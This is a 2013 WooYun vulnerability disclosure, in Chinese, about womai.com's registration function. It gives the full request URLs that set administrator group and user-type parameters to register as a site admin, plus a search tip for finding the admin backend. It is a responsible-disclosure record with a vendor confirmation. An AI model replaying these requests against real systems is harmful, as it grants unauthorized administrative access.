当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-022676

漏洞标题:中粮我买网设计缺陷

相关厂商:中粮我买网

漏洞作者: 刺刺

提交时间:2013-04-29 01:57

修复时间:2013-06-13 01:58

公开时间:2013-06-13 01:58

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-29: 细节已通知厂商并且等待厂商处理中
2013-04-29: 厂商已经确认,细节仅向厂商公开
2013-05-09: 细节向核心白帽子及相关领域专家公开
2013-05-19: 细节向普通白帽子公开
2013-05-29: 细节向实习白帽子公开
2013-06-13: 细节向公众公开

简要描述:

中粮我买网某功能存在设计缺陷,可提权,提很高的权限。

详细说明:

我买网用户注册功能存在设计缺陷,普通用户可以注册成系统管理员。
1. 使用Fiddle抓包,用户注册过程
最终得到以下链接:
http://www.womai.com/Cart/Register.do?
parendId=&
Email=sex%2540126.com
&loginId=foxxx&password=sexsex11&password2=sexsex11
&invitationCode=&
know_womai=%25E6%259C%258B%25E5%258F%258B%25E4%25BB%258B%25E7%25BB%258D&know_womai=%25E6%2590%259C%25E7%25B4%25A2%25E5%25BC%2595%25E6%2593%258E
&know_womai=%25E4%25BF%2583%25E9%2594%2580%25E5%258D%2595&know_womai=%25E8%25AE%25BA%25E5%259D%259B
&know_womai=%25E6%2596%25B0%25E9%2597%25BB&know_womai=%25E5%2585%25B6%25E4%25BB%2596
&validateCode=au6q
&=on&providerName=userRegistExtentionAttribute
&memberGroup=100
&parentId=
&mid=0
&usertype=&
returnUrl=&callback=jsonp1367119154807&_=1367119289017
解释以下上面的部分内容:
parendId= 商家代码
Email=sex%2540126.com
&loginId=foxxx&password=assssssa&password2=assssssa 注册的邮箱、用户名和密码
validateCode 验证码
memberGroup=100 用户组#1是管理员组
parentId= 商家代码 #0是系统
usertype= 用户类型 #1是管理员
根据以上匹配,重新提交请求:
http://www.womai.com/Cart/Register.do?parendId=0&Email=sex%2540126.com&loginId=foxxx&password=sexsex11&password2=sexsex11&invitationCode=&know_womai=%25E6%259C%258B%25E5%258F%258B%25E4%25BB%258B%25E7%25BB%258D&know_womai=%25E6%2590%259C%25E7%25B4%25A2%25E5%25BC%2595%25E6%2593%258E&know_womai=%25E4%25BF%2583%25E9%2594%2580%25E5%258D%2595&know_womai=%25E8%25AE%25BA%25E5%259D%259B&know_womai=%25E6%2596%25B0%25E9%2597%25BB&know_womai=%25E5%2585%25B6%25E4%25BB%2596&validateCode=au6q&=on&providerName=userRegistExtentionAttribute&memberGroup=1&parentId=0&mid=0&usertype=1&returnUrl=&callback=jsonp1367119154807&_=1367119289017
你就可以注册成功了。

漏洞证明:

现在登录后台:
特别感谢搜狗,使用搜狗搜索"/OurHome/core",可以很容易的找到我买网的后台。
我登录了一下,截图退出。

g.png


管理员列表:

949.png

修复方案:

这个问题可能会影响广州信景的很多客户,建议联系厂商。
建议厂商对早期版本的客户及时修补,因为早期的版本还有其他的安全问题,
比这个简单且威力大。

版权声明:转载请注明来源 刺刺@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2013-04-29 20:07

厂商回复:

感谢洞主!!我们尽快安排修复。

最新状态:

暂无